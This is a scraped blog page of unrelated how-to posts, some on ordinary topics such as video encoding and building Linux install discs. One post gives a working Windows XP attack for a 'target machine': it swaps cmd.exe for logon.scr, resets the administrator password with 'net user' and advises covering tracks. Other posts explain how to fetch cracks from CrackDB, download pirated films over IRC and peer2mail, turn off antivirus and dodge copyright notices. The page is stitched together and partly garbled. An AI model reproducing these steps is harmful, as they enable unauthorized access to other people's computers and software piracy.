if this is the case, make sure you encode your DivX files as "NTSC VIDEO 29.97 FPS".. even if source is 23 fps... and once you have 3 or 4 movies, get yourself a proggy called TMPGENC DVD AUTHOR.. make a track for each movie.. and you got yourself a dvd with 3 or 4 average length movies on 1 dvd (with menus if you like) that is WAY MORE COMPATIBLE than a VCD..

do a search for the keyword VCD-DVD and i posted a more descriptive tutorial on how to do this..

how to make a new web site

2009-01-04T00:47:00.000-08:00

how to make a new web site

WWW.blogger.com

easy and simple to make a web blog fast to try.......

http://www.make-a-web-site.com/

http://www.pagetutor.com/pagetutor/makapage/index.html

www.webmonkey.com

Colour Palletes

http://colormatch.dk

HTMLlock <---Need

http://www.devside.net

http://www.devside.net/download/crypto/disclaimer1.html

well, if you want text seperate from image, you could just do this:

your text here, it's totally fun, yeah yeah yeah

</td><td>

</td></tr>

</table>

if you want to have the image on the left side, and text on the right side, just reverse the code like so:

</td>

your text here, it's totally fun, yeah yeah yeah

</td></tr>

</table>

How To Make A Kvcd

2009-01-04T00:45:00.000-08:00

how to make a kvcd or in other words how to get 700meg avi file down to about 450megs to make

a vcd without any picture loss

so youve download a movie its in avi format you want to watch it on your dvd player so

you reencode it it comes out to about 1100 maybe 1200 megs so you got to split it and save on

2 disks well the following tut will show you how to do it on one disk

first you are going to need some tools

virtualdub

CODE

http://heanet.dl.sourceforge.net/sourceforge/virtualdub/VirtualDub-1.5.10.zip

heada3che

CODE

http://mitglied.lycos.de/darkav/download/headac3he-0.23a.rar

and some dlls

CODE

http://mitglied.lycos.de/darkav2/download/MPAlib_MMX-1.00(1.50).rar

http://mitglied.lycos.de/darkav2/download/ssrc_MMX-1.01(1.28).rar

http://mitglied.lycos.de/darkav2/download/Vorbis_MMX-1.20(1.74).rar

http://mitglied.lycos.de/darkav2/download/Lame_enc_MMX-1.28(3.93).rar

http://mitglied.lycos.de/darkav2/download/MP2enc_MMX-1.15(1.13).rar

put the above dlls in the same folder as heada3che

besweet

CODE

http://dspguru.notrace.dk/BeSweetv1.4.zip

http://dspguru.notrace.dk/BeSweetGUIv0.6.zip

put these 2 in the same folder

you will have to have nero as well but im hoping you have that already if not it on this forum

tmpegnc

again its on this forum

you will need some templates

CODE

http://www.kvcd.net/dvd-models.html

right click all the pal templates if your dvd player is pal or ntsc if ntsc

save them to the template folder in the tmpegnc folder

so to begin

open virtualdub

goto file

open video file

locate the avi file you want to convert

if you get a warning ignore it

click the audio button at the top

make sure source audio and direct stream copy have a black dot next to it

goto file

save wav

now you have to call this with a .ac3 extension

for example view from the top.ac3

i would save this in the same file your avi is

so youve named it press save

box will open let it do its thing this is taking the sound from the film

now press audio and select no audio

you should have a black dot next to no audio and direct stream copy

goto video

select direct stream copy

goto file save as avi

save the file what you want again put in the same folder as the original avi

to make life easier i call mine the film title no sound ie viewfromthetopnosound

press save

this is now saving the film without sound

you can now close virtualdub

open besweet

scary looking box appears

dont worry heres what to do

at the besweet.exe locate the besweet folder it will show besweet.exe in the enter file name box

click on this and at the bottom it will say valid press ok

now goto input and find the ac3 file we just made you will need to change the enter file name from .Lst to .ac3

double click on the ac3 file you made and at the bottom it will say valid press ok

now looking at the gui make sure Use ac3 decoder is tick

downconvert sample rate is ticked

in the toolame dropdown box make sure it says mp2 leave the rest alone

now press copy command to clipboard

goto start

run

and right click paste

press ok

if all the settings are correct a black box will open and the ac3 will be transcoding to mp2

if not check the boxes are ticked

if ok leave it to do its thing

once the black box has disappered close besweet

open heada3che

hopefully you put all the dlls in the heada3che folder other wise you will get error messages

so make sure you do that

done it ok lets go

press source file

find the new mp2 file we just made

change the destination format to mp2

press start

thats it once its finished close headac3he

for your info

things are going to start looking messy inside your folder so if you want

you can delete some things

goto the folder where youre original avi file is

you can delete the ac3 file

and the mp2 file without the .2 in it

ie you will have two file names the same one with .2 on the end keep this one

this is so we dont get confused later

open tmpegnc

close the wizard if it opens

press the video source browse button

find the file we made with nosound on the end ie viewfromthetopnosound

now if you had gone to the kvcd page and downloaded all the templates this will help

if not go do that now

done it right lets go

now im afraid im not in front of your pc doing this for you so i hope i explain well

press load

you will see a load of files in front of you some starting with kvcd

right this is trial and error stuff now pick the first one begining with kvcd highlight it press open

now press start what will happen is the preview box in front of you will start encoding

now depending on the make up of the original avi file will effect the outcome of the finished film

so if you look at the box and all you see is a tiny box with film thats the size it will come out

if it looks weird press stop and reload a different template the best result is one that looks like widescreen

i hope that made sense

just press start and overwrite the file

any way let it do its thing depending on your pc specs depends how long this takes

so lets assume its done

press file mpeg tools the first box should be simple multiplex press the video input browse button

and find the new file we just made it will have a m1v extension

press the audio input browse button find the mp2 file with the .2 in the title the output

box will be automatically set to mpeg

press run

let it do its thing

close tmpgenc

open nero

select vcd

untick the create standard compliant cd

press new

find the new file we have made it will be in the original avi folder but will have a mpeg extension

now you have to drag this into the left box dont right click and copy to compliation

a box will appear and a blue line will go across if a warning comes up with not being a compliant vcd ignore carry on

press burn and burn at the speed you want

once finished press the ok box

press done the disk will come out and now to test

put it in your dvd player and hay presto the film kicks in

depending if your dvd player can play vcds that is

0NLY3DUC4T10N

How To Make 5cds, 10cds Or 2dvds From Official Dow, These are same as Mandrake PowerPack+

2009-01-04T00:44:00.000-08:00

Download the full official tree. It comes in at over 5 gig. The full tree includes the usual mandrake, 3 gig of extra apps under contrib and 330meg of java apps under contrib/jpackage.

After downloading I have successfully created 4 versions including the Hard Drive Installation.

1) Hard Drive/Network/FTP Install (same thing)

2) 10 CD version including everything

3) 5 CD Version (use to be 4 CDs. This will eventually be the ISO download)

4) 2 DVD Version which includes everything int the 10 CD Version.

Additionally I have discovered that Mandrake is stressing everyone for no apparent reason. The much talked about 8 meg boot.iso file that is needed to be able to boot and chose your method of installation, is no different from the regular boot files that come on CD1 of any version.

The only thing you have to do is to edit the file "isolinux.cfg" in the isolinux folder. Inside the file, remove all instances of "automatic=method:cdrom" and save the file. Then create the images for whichever "version" of mdk10 that you choose. To create the different versions that I have listed above you have to do 2 things first:

1) edit the "hdlist" file in the "Mandrake/base" folder. In this file you will find a list of all the hdlist.cz files needed to build a particular version. Remove the 3 lines for "SRPM" files. Now depending on which version you want to create, the 10CD and the DVD versions will have 3 lines.

a) hdlist.cz Mandrake/RPMS Installation CD

hdlist2.cz Mandrake/RPMS2 Contrib CD

c) hdlist3.cz Mandrake/RPMS3 Jpackage.org

take note of the paths above. if you downloaded the whole tree like I did, you will have these folders. The RPMS folder is the standard 4 or 5 CD download version. The RPMS2 and RPMS3 folders added to the RPMS folder make the 10CD and DVD version. So to make the 5CD version, remove the last two lines. Dont forget to backup the original "hdlists" file.

2) To make the 10 CD or 2 DVD version, use the "mkcd"command below. Use 716800000 discsize for the 10CD version and 4000000000 for the 2 DVD version. When the command finishes, the images will be in the directory you specified after the -t option.

To make the 5CD version, move the folders "RPMS2" and RPMS3" someplace safe and don't forget to remove the last two lines in the "hdlists" file as described above. The RPMS2 and RPMS3 folders are only links so it should take no time at all to move them. Then use 716800000 discsize and run the "mkcd" command. Don't forget to move the RPMS2 and RPMS3 folders back to their original location when you finish your 5CD images.

Also rememeber that you will need plenty of disc space if you wantto keep all the images for all version on your hard drive. I have the 10CD, 5CD, 2 DVD and the HD install files all on my hard rive and they take up 23GIG.

mkcd --discsize 716800000 -t ./5CD-Version -a -s ./hdinstall

--discsize is the size of the image you want to make in bytes. the above figure is for a 700M CD. I used 4000000000 (9 zeroes) to make 2 DVDs.

-t <path to where yu want to make the images>

-a means automatic creation based on the hdlist files and the downloaded directory structure. It keeps you from having to use many other ugly options on the command line.

-s <source directory of mdk10> this is the top fodler not thr RPM folder. This top folder will have the "Mandrake" folder in it.

original Link

CODE

http://linuxiso.org/forums/viewtopic.php?t=18140

How to Install and run Windows CE on your USB Stick

2009-01-04T00:43:00.001-08:00

How to: Install and run Windows CE on your USB Stick

Portable Windows CE is a 'launcher' for the Windows CE device emulator that can run an emulator-based image from a USB keychain.

Download the Windows CE 5.0 Device Emulator.

Code:

http://www.Mcft.com/downloads/details.aspx?FamilyID=A120E012-CA31-4BE9-A3BF-B9BF4F64CE72&displaylang=en

Change "Mcft" in link to what it is supposed to be icon_wink.gif

Extract the emulator to a folder on your hard drive by running "setup /a". The installer will prompt you to specify a directory to extract to . For example: D:\PortableCE

Download this launcher script:

Code:

http://www.furrygoat.com/Software/launchce.cmd.txt

Copy the following launcher script to the directory you extracted the setup to. You'll need to rename the file from launchce.cmd.txt to launchce.cmd

Once you have that set up, just copy the entire D:\PortableCE folder over to your USB keychain.

To launch the emulator, just plug in your USB keychain, navigate to the PortableCE folder, and run launchce.cmd. You should (hopefully) have the emulator fire up.

How To Increase Download Speeds By 100-200 Kbsec

2009-01-04T00:43:00.000-08:00

First of all download this wonderful program:

h@@p://www.speedguide.net/files/TCPOptimizer.exe

Then when u start trhe program goto settings goto cable modem or dsl whatevcer u have.

Go to MaxMTU and set it to 1500 this is optimal anything above this will not work as well.

Thats bout it!! Enjoy the speed!!

0NLY3DUC4T10N

How to hack-change your Windows XP Boot Screen

2009-01-04T00:29:00.000-08:00

How to hack/change your Windows XP Boot Screen

HACKING THE XP BOOT SCREEN

This is a very simple trick to do if you have done the same for the logon screen and the start button. There are 2 ways to do this trick that I know about one is doing it manually and the other is using a program called bootxp. I am going to tell you the manual way to do it, but if you want to know the other way just let me know, so I can do an update to the guide. Now once you have downloaded your ntoskrnl.exe file save it a general location so that you will have easy access to it, like my folder.

Once you have ntoskrnl.exe file in an easy access folder, restart your pc into safe mode. Once into safe mode go to the folder where your files are located.

Now that you are there copy the file that you want to change your boot screen too. Once you have copied that file, hit the window key + r or type %windir%\system32 in the run command, so that folder as follows.

Once there paste your new file into the folder and overwrite the existing folder.

Now that you have your new file in the folder restart your pc as you normally would and your new boot screen should appear. You can download this bootscreen here.

ALWAYS BACKUP EVERYTHING YOU EDIT OR DELETE. I'M NOT RESPONSIBLE IF YOU MESS YOUR COMPUTER UP BY DOING THIS HACK OR ANY TYPE OF HACK. DO IT AT YOUR OWN RISK.

Image and ntoskrnl.exe files provided by www.themexp.org

or

u can go to

code:

http://www.overclockersclub.com/guides/hackxpbootscreen.php

onlyeducation

How To Hack Windows Xp Admin Passwords

2009-01-04T00:27:00.000-08:00

How to hack Windows XP Admin Passwords the easy way by Estyle, Jaoibh

and Azrael.

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This hack will only work if the person that owns the machine

has no intelligence. This is how it works:

When you or anyone installs Windows XP for the first time your

asked to put in your username and up to five others.

Now, unknownst to a lot of other people this is the only place in

Windows XP that you can password the default Administrator Diagnostic

Account. This means that to by pass most administrators accounts

on Windows XP all you have to do is boot to safe mode by pressing F8

during boot up and choosing it. Log into the Administrator Account

and create your own or change the password on the current Account.

This only works if the user on setup specified a password for the

Administrator Account.

This has worked for me on both Windows XP Home and Pro.

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Now this one seems to be machine dependant, it works randomly(don't know why)

If you log into a limited account on your target machine and open up a dos prompt

then enter this set of commands Exactly:

(this appeared on www.astalavista.com a few days ago but i found that it wouldn't work

on the welcome screen of a normal booted machine)

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cd\ *drops to root

cd\windows\system32 *directs to the system32 dir

mkdir temphack *creates the folder temphack

copy logon.scr temphack\logon.scr *backsup logon.scr

copy cmd.exe temphack\cmd.exe *backsup cmd.exe

del logon.scr *deletes original logon.scr

rename cmd.exe logon.scr *renames cmd.exe to logon.scr

exit *quits dos

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Now what you have just done is told the computer to backup the command program

and the screen saver file, then edits the settings so when the machine boots the

screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user <admin account name here> password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.

Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Any updates, Errors, Suggestions or just general comments mail them to either

goodluck...only education

How to fix Windows Installer problem.txt

2008-09-16T01:20:00.001-07:00

Do you experience this kind of problem whenever you attemp to install an application in windows box (2k, xp)?

"The Windows Installer service could not be accessed. This can occur if you are running Windows in safe mode, or if the Windows Installer is not correctly installed. Contact your support personnel for assistance."

The ms website knowledge article 324516 gives 2 methods as a way of fixing this problem, but you might be very lucky if any of the 2 fixes the problem, alot of guys end up formating their systems and doing fresh windows installations or try wired ways of fixing it.

Well, the solution is very easy:

1. right click your root windows installation drive i.e drive where you installed windows

2. click properties at the bottom

3. select security tab

4. click Add and scroll down to SYSTEM account click add and click OK.

5. allow Full control permission and click Apply and then Ok.

This should solve your problem with windows installer.

How To Download Bittorrent Files

2008-09-16T01:08:00.001-07:00

Downloading BitTorrent Files

What is BitTorrent in Plain English?

BitTorrent is a program you download. It is similar to a peer-to-peer file sharing service. Basically it goes like this: You download the installer. You get the link to a file that ends in .torrent and enter that URL into your browser (preferably Internet Explorer). This opens the BitTorrent download window. It starts downloading the file, or episode that you wanted (eg. alias2x01.torrent). As it downloads, it uploads the parts that you have to other people so many people can get it at once. When you've finished downloading the file, you can leave the window open (don't press finish or close the window) and other people can still download from you. This is very much encouraged.

I'm new to all this. How do I download with BitTorrent???

First we need to download and install a BitTorrent client

Official client 3.3

CODE

http://www.bitconjurer.org/BitTorrent/index.html

Experimental client 3.2.1b-2

CODE

http://ei.kefro.st/projects/btclient

TheShad0w Experimental S-5.8.3

CODE

http://home.elp.rr.com/tur

Azureus 2.0.3.0

CODE

http://azureus.sourceforge.net/

burst! RC5d

CODE

http://krypt.dyndns.org:81/torrent/download.phtml

BT++ 0.5.4 alpha [code]http://btplusplus.sourceforge.net

Shareaza 1.8.9.22

CODE

http://www.shareaza.com

Nova Torrent 0.2.0

CODE

http://blackflaw.dyndns.org

SimpleBT 0.1.9

CODE

http://sourceforge.net/projects/simplebt

BitAnarch 1.0.5a

CODE

http://sourceforge.net/projects/bitanarch/

Personal Torrent Collector 0.8.2.2

CODE

http://ptc.sourceforge.net

Effusion 0.3.3 beta

CODE

http://www.azrael-uk.f2s.com/az/effusion

Snark 0.5 beta

CODE

http://www.klomp.org/snark

ByteTorrent 0.95

CODE

http://sourceforge.net/projects/bytetorrent/

ABC 2.5

CODE

http://pingpong-abc.sourceforge.net

Note:

If you?re client freezes during D/Ls, it?s a problem with you?re network card or modem, this happens when you connect to more peers than you?re card or modem can handle & windows shuts it down. There is a cure. Shad0ws Experimental client allows you to set how many incoming peers to allow.

All about BT:

CODE

http://www.dessent.net/btfaq/#now_what

How to D/L Torrent files

BitTorrent is not like other peer-to-peer applications (such as Winmx, Kazaa, Gnutella, etc.) in that it does not have its own \"universe.\" Put another way, BT lives on top of the Web, which means that all of the searching/listing of available files is done on the web. When you find a file you want to download, you click on it and the BitTorrent client program will run and ask you where to put it, and then start downloading. Or you save target as. Save the file somewhere then click on it when you?re ready to start the D/L.

It doesn't do anything it says:

Problem connecting to tracker - timeout exceeded

Problem connecting to tracker - HTTP Error 503: Connect failed

Problem connecting to tracker - [Error socket error] (10061, \" Connection refused\")

Problem connecting to tracker - (111, \'Connection refused\'

Generally just wait ... this normally means that the \'Tracker\' is maybe too busy. Leave your window open and it will try to connect every 2 minutes or so.

Note: BT dose resume downloads, just click the torrent file again when you are ready to resume the D/L and save it to same place as the original. All clients have an option for default D/L directory. I suggest setting this option.

My speed is always very slow!!!!!!!!!!

Speeds can be real slow if your one of the below, they all can bet set to allow BT in and out

#1 behind a firewall

#2 behind a router

#3 on a network

#4 Xps firewall is enabled

ports 6881 thru 6999 need to be open to get good speeds

If you need info on bit torrent and how to set it up with a firewall or router

CODE

http://knowbuddy.dyndns.org/torrent/btclientconfig.html

Get general info on how torrent works and how it uses ports

CODE

http://knowbuddy.dyndns.org/torrent/btclientconfig.html

http://www.dessent.net/btfaq/

Where do I get torrent files???

Suprnova mirrors are the best site?s, updated every 20 minutes.

CODE

http://www.suprnova.org

There are others you can use here is another one:

CODE

http://www.torrentbox.com

Places to find other torrent sites

CODE

http://torrentlinks.com/index.php?action=displaycat&catid=10

http://members.chello.nl/~p.wiersema/

http://home.quicknet.nl/qn/prive/romeria/bittorrentsites.htm

Torrent Search engine

CODE

http://novasearch.net/

Keeping up with the torrent network

CODE

http://www.digital-update.com/forums/attachment.php?s=&postid=163113

http://www.filesoup.com/phpBB2/index.php

http://www.lickmytaint.com/

http://suprnova.org/

PeerGuardian

What does PeerGuardian actually do?

PeerGuardian does two things to help P2P users. The first is the obvious one, it closes connections on certain IP addresses. The second is that it optionally logs all connections made to your computer. The reason for this is so that if you do use PeerGuardian but still get sent a legal threat, you can cross-reference the date/time of the alleged infringement with the log. This gives us a list of IPs, one of which will be the IP that's doing the busting. It's basically to help us identify which IPs are doing the busting and weren't known to PeerGuardian before. - Hope that makes sense.

Is PeerGuardian 100% Protection?

CERTAINLY NOT!!! - PeerGuardian relies on users sharing information to stay up to date. It IS contributory to protection and (I'm not trying to blow my own trumpet here!!) it seems to be the most up-to-date and open database of this nature on the internet (as far as I know). The more people who are using full-logging and report the relevant IPs when they get a C&D threat (see above paragraph), the more people we can save. ANONYMOUS P2P is the way ahead IMHO, PeerGuardian isn't 100% effective.. I've NEVER claimed that and never will and I look forward to the day that PG (not just the app, more.. the database and communication between p2p'ers on blocking IPs) becomes totally redundant. I'm just trying to help supply the next-best thing until we get to that stage.

I use PeerGuardian and have still been sent a legal threat.

What do I do?

First of all, stop sharing the file you got busted with. If you're worried, try sharing older/rarer files. If you share Bourne Identity, Terminator 3 and a load of Busta Rhymes mp3s after being busted, you'll be asking for trouble. Second thing to do, check the "full connection log" in PeerGuardian. (you did have it enabled didn't you?) - Work out the difference in timezones on the infringement warning and cross-reference it with the log. From this you should be able to identify a handful of IPs. Either post that list to the PG forums for one of our admins/moderators/members to investigate or investigate it yourself and post the p2p enemy IP to the on-line database. - There are plans to automate this whole process in the future.

CODE

http://www.peerguardian.net/

Well it isn't really much of a tutorial but I spent a lot of time on this so please help me out if it is wrong.

-=-Bullet-T00th-=-

How To Download Directly From Crackdb.com

2008-09-16T01:04:00.000-07:00

Some of you may not know this, others may already knew it, however, because

of Sod rules which do no not allow indirect crack links, and because CrackDB

is a very good resource for cracks, i will show how to post links that lead

to a direct download from CrackDB.

The CrackDB server sends the archive of a crack as an attachment to the respond

for an HTTP request made by your browser, this means you (and your browser)

will never know the real location of the file, because of this you can't post a direct

link to the crack in your topic.

Using the Referer variable we can overcome this problem, but what referer to

use? if you used the domain name http://www.crackdb.com/

you will get nothing but a useless image file.

The correct refere is shown on your browser address bar. For example, if you

want the crack for IsoBuster Pro v1.6 you just type the name in the search box

and press Enter, the next page displays a list of items that match or nearly

match your search keywords, click on IsoBuster Pro v1.6 from the list and

you are now in the download page, the hyperlink named "Download" is the

link that initiates the request to the server to download the file, which looks

like this:

http://www.crackdb.com/x.php?id=12356

The referer is now displayed on your browser address bar, which looks like this:

http://www.crackdb.com/get.php?id=12356

Now, you use both links to refer to a direct crack download from CrackDB, like this

Fix:

http://www.crackdb.com/x.php?id=12356

Use this referer:

http://www.crackdb.com/get.php?id=12356

Any member now can copy & paste the links into his/her download manager and

start downloading immediatley.

I hope you find something usefull here. Thanx for reading this.

How To Download Movies, From IRC

2008-09-16T00:48:00.000-07:00

First off welcome to the wonderful world of TMD!

--------------------- SETTING UP mIRC ---------------------

First of all you need to download mIRC from /http://www.mirc.com, this program will let you connect to the server and channel to download movies. Once installed run mIRC, and you will be presented with the mIRC options. The first thing you will see is the "Connect" options. Set the options as follows:

IRC Network: Select "Criten" from the dropdown list.

Full Name: Enter what you feel comfortable with.

Email Address: Enter your email address.

Nickname: Enter the nickname you want.

Alternative: If the nickname you picked isn't available this is the one it will use.

*If Criten isn't listed in the IRC Networks, hit the "Add" button.

Description: Criten

IRC Server: irc.Criten.net

Port(s): 6667

Group: Criten

Password: Leave Blank

Hit the "Add" Button to finish

Next we will move down to "DCC". Select "Auto-get file" (this will automaticly accept the files that are sent to you), click "YES" in the window that opens. Right next to the "Auto-get file" click on the "Minimize" option. Below that select select "Resume" from the drop-down list under "If file exists:". This option sets mIRC to automaticly resume any failed sends you may get instead of overwriting them.

Continuing in the "DCC" section, go down to "Folders". In the "DCC Ignore:" box select from the drop-down list "Disabled", then untick the "Turn ignore back on in:" box.

mIRC is now setup correctly to download movies from TMD! Hit "OK" on the bottom of the Options window and move on to the next part.

--------------- CONNECTING TO #TMD-MOVIEZ ---------------

In the upper left hand corner of mIRC you will see the "Connect" button in the tool bar, click it to connet to irc.Criten.net. Once it has connected (be patient it can take a while to finally connect on some days), a window will pop-up, this is the mIRC Channels list. On the right side of the window click the "Add" button. Another window will pop up, set it as follows:

Channel: Type in "#TMD-Moviez" (without the quotes)

Password: Leave blank.

Description: Just type in "TMD Moviez" or something of the sort.

Networks: Click the "Add" button and from the drop-down list select "Criten", then click "OK".

If you wish mIRC to automaticly connect to this channel once connected to the server, check the "Join channel on connect" box in the options. You may also wish to add the channel "#TMD" (Our chat channel) by repeating these steps.

Now click "OK" and it will show the mIRC Channels List again with the channel you just added. While the new channel is still selected click "Join" on the right side.

You can also type in /join #TMD-Moviez

A new window will appear with a bunch of text scrolling by, if you see this, than you did everything correctly! You are now in #TMD-Moviez! Move on to the next section for the fun part.

----------------- FINDING AND DOWNLOADING FILES -----------------

The things you see scrolling are ads and searches mainly. It is the ads that you may want to watch for. They consist of info about the server like this:

*********** Only an example server... Not a real one! ********

[2:29am] <TMD-Maveric> File Server Online Triggers:½/ctcp TMD-Maveric !Maveric's Moviez!╗ Min:½6.4 Kbs╗ Sends:½2/2╗ Queues:½10/10╗ Accessed:½3295 times╗ Online:½0/4╗ RCPS:½42.8 Kbs by kuki╗ Served:½95.6G in 785 files╗ Current BW:½41 Kbs╗ AQT:½1hr 15mins╗ Serving:½279 files╗ MOTD: -= :: (»`À.©©.->All the newest from distro!!<-.©©.À┤») :: =- ùI-n-v-i-s-i-o-nù

Really the only thing you need to know to get started is how to connect to the file server and get a file.

The trigger is what you type into the channel to connect to the server. The trigger above would be "/ctcp TMD-Maveric !Maveric's Moviez!" (without the quotes) as noted by the "Triggers:½ ╗" You always type what is inbetween the ½╗. You will know you are connected when a window pops up with:

Serving YourNickname

Waiting for acknowledgement...

DCC Chat connection established

Then you will see alot of text fly by which you can read if you want, but it is not needed. You will be left with something like this "[\]", that is the root directory of the server. To view the files in that directory you type "dir". At that point the directory contents will be show like this:

[2:40am] <TMD-Maveric> dir

[2:40am] <TMD-Maveric> [\*.*]

[2:40am] <TMD-Maveric> DVD RIPS

[2:40am] <TMD-Maveric> MOVIEZ

[2:41am] <TMD-Maveric> [tmd]csi.miami.s1.ep01.golden.parachute.(ftv).tvrip.(1of1).avi 121 mb

[2:41am] <TMD-Maveric> [tmd]csi.miami.s1.ep02.golden.losing.face.(ftv).tvrip.(1of1).avi 115 mb

[2:40am] <TMD-Maveric> End of list.

The ones in all caps are directories, and the others are files signified by the the name and size of the file. If you want to go to a directory you need to type "cd <directory name>". Then you need to type "dir" again to see the contents. You should see something like this:

[2:44am] <TMD-Maveric>cd moviez

[2:44am] <TMD-Maveric> [\moviez]

[2:44am] <TMD-Maveric> dir

[2:44am] <TMD-Maveric> [\moviez\*.*]

[2:44am] <TMD-Maveric> ..

[2:44am] <TMD-Maveric> A RUMOR OF ANGELS

[2:44am] <TMD-Maveric> ALI G INDAHOUSE

[2:44am] <TMD-Maveric> AVENGING ANGELO

[2:44am] <TMD-Maveric> BALLISTIC - ECKS VS SEVER

[2:44am] <TMD-Maveric> BARBERSHOP

[2:44am] <TMD-Maveric> BARBERSHOP (UNCUT)

[2:45am] <TMD-Maveric> [tmd]nailed.(evil).scr.(1of2).avi 169 mb

[2:45am] <TMD-Maveric> [tmd]nailed.(evil).scr.(2of2).avi 59.3 mb

[2:45am] <TMD-Maveric> End of list.

Now to get a file you need to type "get <filename>". At that point you will either be sent the file, placed in queue for the file, of told that there isn't a free spot in the queue for you. Looking like this:

[2:50am] <TMD-Maveric> get [tmd]nailed.(evil).scr.(1of2).avi

[2:50am] <TMD-Maveric> Sending [tmd]nailed.(evil).scr.(1of2).avi ½169MB╗.

OR [2:50am] <TMD-Maveric>The file has been queued in slot 1

OR [2:50am] <TMD-Maveric> Sorry but the Maximum Allowed Queues of 10 has been reached. Please try again later.

The window may say something like "idle connection closing in 30 seconds", when you are finished either type "exit" or let the connection close. You will still get your download!

TIP: To quicky enter the filename you should copy and paste it. mIRC automaticly copys what ever text is selected to the clipboard. So select the filename (when you let go of the mouse button the selection will disappear) then use Ctrl+V (or right click and choose paste) to paste it.

A few other things you should know is how to go back a directory ("cd .."), how to see what files are sending ("sends"), and how to see who is in the queue ("queues").

Now to find the movie you are looking for.... As you may have seen in the chat screen you can search for what file you are looking for. This is done by using "@find <moviename>". So if you were looking for "The Ring" then you would type "@find the ring". If any matching files were found new windows will open with the results. You will see these flashing red in the top bar. Clicking on them will display the results for each server the file was found in, looking a bit like this:

<Nickname-of-server> [@Find Results] -=SysReset 2.50=-

<Nickname-of-server> Found [2] files on Trigger [/ctcp Nickname-of-server !TRIGGER!] - Queues: [20/25]

<Nickname-of-server> File: [The Ring\[tmd]the.ring.(ftf).ts.(2of2).avi] - Size [149.7MB]

<Nickname-of-server> File: [The Ring\[tmd]the.ring.(ftf).ts.(1of2).avi] - Size [130.1MB]

<Nickname-of-server> End of @Find.

The things to pay attention to is the trigger and the "Queues". The "queues" tell you how many people are in line to get a file from this server. [20/25] means there are 20 people in line out of an available 25 slots. The fewer amout of people in the queue the shorter amount of time you have to wait before downloading. Once you find a good server, type in the trigger that is show and you will be connected to the file server.

TIP: To close all the windows that opened as a result of the @find type "/close -m" in the channel.

----------------- COMMON ERRORS AND PROBLEMS -----------------

Error: "You need to identify a registered nick to join..."

Solution: To register: type in (without quotes) "/msg NickServ REGISTER password youremailaddress". That will register your current nickname using the password and email specified. To identify type in (without quotes) "/msg NickServ IDENTIFY password" where password is the password you registered with.

Problem: "The video doesn't play right!"

Solution: Be sure to download and install the TMD Codec. If after you have intalled the codec the video still doesn't work, make sure you download the entire file, the file sizes are listed on our MoveBot.

Error: "No more connections allowed in your connection class"

Solution: This just means the server is full. There is nothing to do but wait till it connects. Patience is a virtue!

Problem: "I have been banned from the channel, what do I do?"

Solution: Most bans only last a minute, so try to join the channel later. If you still can not join, then private message the OP that banned you in #TMD. To send a private message type "/msg <username> <message>" in the channel substituting <username> with the username of the person that banned you, and <message> with the message you want to send.

Problem: "I downloaded a movie but the quality is bad!"

Solution: There is nothing you can do about it! TMD encodes movies that were supplied by a "ripping" group. We encoded those files to make them more compact for easy downloading, while keeping the best quality we can. Some movies we get are bad quality to begin with, and we do what we can with what we have to work with.

Problem: "How do I know what new movies have been released?"

Solution: We have a bot in #TMD-Moviez and #TMD, simply type "!newmoviez" into the channel for the last 10 releases. Type "!moviebot" for all of the bots commands.

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It all can be quite confusing at first glance, but after a week or two it seems simple! Any other questions you may have can probably be answered by going to #TMD. I hope this helps everybody.

****Written By Maveric****

How to Download-Upload Files from email

2008-09-16T00:38:00.001-07:00

How to Download-Upload Files from email

This post will teach u how to send big files to email

This technic is really a newly powerfull way of downloading movies games... Nothing to worry about the fu***** deleters and all the jerks!

Enought bullshit lets get down to buisness:

First of all u need to have a big mail box. here are the one which we can cover. click on the icon to go to the website

• Gmail (Google mail)

• Storage space - 1GB

• Maximum attachment size - 10MB

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www.gmail.com

• Walla! mail (the best)

• Storage space - 1GB

• Maximum attachment size - 7MB

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www.walla.com

• Spymac Mail

• Storage space - 1GB

• Maximum attachment size - 10MB

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www.spymac.com

• Unitedemailsystems

• Storage space - 3GB

• Maximum attachment size - 10MB

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www.unitedemailsystems.com

• Xasamail

• Storage space - 2GB

• Maximum attachment size - 10MB

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www.xasamail.com

• Omnilect Mail

• Storage space - 2GB

• Maximum attachment size - 7MB

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www.omnilect.com

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Then download the software called peer to mail:

http://dw.com.com/redir?pid=10351095&merid=72949&mfgid=72949&lop=link&edId=3&siteId=4&oId=3002-2196_4-10351095&ontId=2196&destUrl=http%3A%2F%2Fwww.peer2mail.com%2FP2MSetup.exe

official website:

http://www.peer2mail.com

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Next step : configurate the soft

go in settings > SMTP server setting

and give an smtp adress that u know

Ex: smtp.laposte.net

user : HULK

pass: ******

Once configurated u don't need to touch it for the rest pf ur upload

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This is a critical step, if u are experimenting any pb of connexion this is were u need to have a look:

This is possible that temporaly ur internet provider dont allow u to use other smtp adress than his. So use it

ie:

smtp.free.fr

smtp.wanadoo.fr

(these are french one I don't know of which one u are using)

...

If u are experimenting any pb it is better to desactivate ur antivirus (the scanning mail option)

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1 - Click on Splint/Send File.

2 - Click on the icon (choose a file to send.....).

3 - select the archive that u want to upload it.

4 - type the address of ur account (email).

5 - It determines the size of the parts that the archive will be divided ( take a look at the max size used by ur mail) i advise u to put a size of 6MB.

6 - It determines the type of sending. "send via smtp server"

After all that, press OK.

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press the selected button in the figure:

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After all the parts have been sent,go to ur account (email) and confirms, then u have to bring the Encrypted password follows the example below:

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Always give the following information to the users:

follows the example below:

Email: GMail

Login: zezão

Password: |/kjds42d4sd24 \|

remmember:

- only Encrypted Password, never sends ur true password

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Be careful : never post ur coordinates without having previously verifyed the content in the mailbox

sometimes peer2mail tells u that evrything is sent but It can happens that nothing is sent

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U want to download games and movies with a good speed ( thats what we all here for!)

So here is an easy way to download large files from mailbox

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first download peer to mail

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official website:

http://www.peer2mail.com

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Open it and go to the browse tab

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then take the coordinates of the film/game u want to download

in this tutorial i'll use the film mulan :

mail: walla.com

login: dragon_mushu

pass: <(/++EiJPy)>

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U noticed that the mail used is walla.com

so go to www.walla.com with the adress bar or with the prerecorded website (see picture)

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go into the inbox then click on this icon:

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this wil do this:

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after uve retrieve all the segment click on "download"

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If everithing is fine the movie will be merge automatically

and u won't need to care about the segments

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If u look for a place to share/download movies/games using peer2mail just go to the peer2mail website www.peer2mail.com. Then go to the forum and click on "peer2mail related websites".

here is the direct link (may not work)

